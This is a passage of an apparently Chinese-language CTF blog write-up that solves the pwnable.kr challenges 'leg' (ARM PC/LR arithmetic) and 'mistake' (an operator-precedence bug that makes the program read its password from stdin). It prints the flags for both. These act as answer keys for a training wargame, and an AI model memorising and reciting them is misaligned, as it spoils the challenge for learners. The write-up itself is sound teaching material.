</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">   0x00008ce4 &lt;+16&gt;:    sub     sp, r11, #0
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">   0x00008ce8 &lt;+20&gt;:    pop     {r11}           ; (ldr r11, [sp], #4)
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">   0x00008cec &lt;+24&gt;:    bx      lr
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">End of assembler dump.
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>把pc存入r3那句指令地址是0x00008cdc，pc作为下一指令地址并非0x00008ce0，而是0x00008ce4，因为ARM 是三级流水线，执行到第一句，pc已经指向第三句，所以arm32 pc是当前地址加0x8</p>
<p>key2，只要看r0就行，r0是r3，r3是r3+0x4，r3 = pc，这里的pc是thumb，pc等于当前地址+4，所以key2为0x00008d04 + 0x4 +0x4 = 0x00008d0c</p>
<p>key3，r0是r3，r3是lr，lr存的是当前函数的返回地址，也就是调用key3的那一句代码地址的下一句，毕竟执行完要执行下一步。这里要看main函数了，调用key3是这句<code>0x00008d7c &lt;+64&gt;:    bl      0x8d20 &lt;key3&gt;</code>，所以lr就是0x00008d7c + 0x4 = 0x00008d80</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">&gt;&gt;&gt; 0x00008ce4 + 0x00008d0c + 0x00008d80
</span></span><span class="line"><span class="ln">2</span><span class="cl">108400</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">/ $ ./leg
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">Daddy has very strong arm! : 108400
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">Congratz!
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">daddy_has_lot_of_ARM_muscl3
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="mistake">mistake<a class="anchor" href="#mistake">#</a></h3>
<blockquote>
<p>We all make mistakes, let&rsquo;s move on.<br>
(don&rsquo;t take this too seriously, no fancy hacking skill is required at all)<br>
This task is based on real event</p>
<p>ssh <a
  href="mailto:mistake@pwnable.kr"
  >mistake@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#define PW_LEN 10
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="cp">#define XORKEY 1
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1">// 异或函数，由于XORKEY是1,所以这个异或把前len位，0、1变成1、0
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="kt">void</span> <span class="nf">xor</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">s</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">                <span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">XORKEY</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">fd</span><span class="o">=</span><span class="nf">open</span><span class="p">(</span><span class="s">&#34;/home/mistake/password&#34;</span><span class="p">,</span><span class="n">O_RDONLY</span><span class="p">,</span><span class="mo">0400</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;can&#39;t open password %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;do not bruteforce...</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="nf">sleep</span><span class="p">(</span><span class="nf">time</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">%</span><span class="mi">20</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="kt">char</span> <span class="n">pw_buf</span><span class="p">[</span><span class="n">PW_LEN</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="kt">int</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="c1">// 从password中读取器10长度到pw_buf
</span></span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">len</span><span class="o">=</span><span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="n">pw_buf</span><span class="p">,</span><span class="n">PW_LEN</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)){</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;read error</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="c1">// 输入10个字符到buf2
</span></span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="kt">char</span> <span class="n">pw_buf2</span><span class="p">[</span><span class="n">PW_LEN</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;input password : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%10s&#34;</span><span class="p">,</span> <span class="n">pw_buf2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="c1">// buf2跟1异或
</span></span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="nf">xor</span><span class="p">(</span><span class="n">pw_buf2</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="c1">// 比较buf和buf2,前10个字符是否相等
</span></span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">pw_buf</span><span class="p">,</span> <span class="n">pw_buf2</span><span class="p">,</span> <span class="n">PW_LEN</span><span class="p">)){</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Password OK</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Wrong Password</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">
</span></span><span class="line"><span class="ln">54</span><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>漏洞在于<code>fd=open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) &lt; 0</code>，正常来说fd是获得文件流，但是<code>&lt;</code>的优先级高于<code>=</code>，所以表达式跟0比较后，只能得到0或1，于是给fd赋予0或1。本地有这个文件，肯定是成功的，所以fd=0<br>
由于这句<code>if(!(len=read(fd,pw_buf,PW_LEN) &gt; 0))</code>，read本来从文件流中读取，现在是从标准输入读取，所以我们可以控制pw_buf，后面buf2也是我们进行输入的。只要buf2输入异或后的就行了。</p>
<p>我这里用python计算一下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">for循环
</span></span><span class="line"><span class="ln">2</span><span class="cl">&gt;&gt;&gt; for c in &#39;KKKKKKKKKK&#39;:
</span></span><span class="line"><span class="ln">3</span><span class="cl">...     print(chr(ord(c) ^ 0x1),end=&#39;&#39;)
</span></span><span class="line"><span class="ln">4</span><span class="cl">... 
</span></span><span class="line"><span class="ln">5</span><span class="cl">JJJJJJJJJJ
</span></span><span class="line"><span class="ln">6</span><span class="cl">
</span></span><span class="line"><span class="ln">7</span><span class="cl">列表推导式
</span></span><span class="line"><span class="ln">8</span><span class="cl">&gt;&gt;&gt; print(&#39;&#39;.join(chr(ord(c) ^ 0x1) for c in &#39;KKKKKKKKKK&#39;))
</span></span><span class="line"><span class="ln">9</span><span class="cl">JJJJJJJJJJ</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">mistake@ubuntu:~$ ./mistake
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">do not bruteforce...
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">KKKKKKKKKK
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">input password : JJJJJJJJJJ
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">Password OK
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">Mommy_the_0perator_priority_confuses_me
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
